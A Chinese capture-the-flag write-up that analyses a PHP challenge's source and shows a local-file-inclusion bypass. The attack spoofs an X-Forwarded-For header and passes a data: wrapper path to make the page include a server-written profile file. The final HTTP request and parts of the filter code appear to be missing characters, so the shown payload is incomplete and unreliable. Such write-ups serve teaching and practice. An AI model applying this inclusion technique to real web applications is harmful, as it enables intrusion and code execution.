在buu里打开环境是没有任何提示的,url后面加伤?hl才有源码
脑测要fuzz或者原题有hint
先放上师傅的blog
https://www.dazhuanlan.com/tvshowwords/topics/958186
直接看源码
stream_wrapper_unregister('php');
if(isset($_GET['hl'])) highlight_file(__FILE__);
$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}
chdir(__DIR__);
system('rm -rf users/'.$randFolder);
?>
分析源码
stream_wrapper_unregister('php');
取消包装器
$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
不需要管,因为escapeshellarg()就是用来确保参数安全的
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);
创建一个随机文件夹并更改到该目录
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
$mkdir($userFolder);
chdir($userFolder);
如果设置了XFF,他将获得XFF的值,否则他将获取用户的IP,将取得值中的’.‘和’-'删除,并创建文件夹后进入
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
将数组$_SERVER写入到profile文件当中
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'') && !stripos(file_get_contents($_GET['page']),'php')) {
include($_GET['page']);
}
删除$_GET[‘page’]的’.'同时过滤了’’和’php’
再进行文件包含
chdir(__DIR__);
system('rm -rf users/'.$randFolder);
最后删库跑路
Phpinfo
Directive | Local Value | Master Value |
---|---|---|
allow_url_fopen | On | On |
allow_url_include | Off | Off |
我们看到这意味着 include 中 在 url 和一些 包装器 不起作用。
解决方案
当我们将数据作为 data:,xx/profile 发送时, 因为 allow_url_fopen 和 allow_url_include ;
file_get_contents('data:,xx/profile'); --> string 'xx/profile'
include('data:,xx/profile'); --> 'data:,xx/profile'
虽然数据 包装器在 file_get_contents 中 工作,但它在 include 中不起作用。
再通过/get_flag读取(但是我不李姐)
GET /?page=data:,xx/profile HTTP/1.1
X-Forwarded-For: data:,xx
Get-Flag: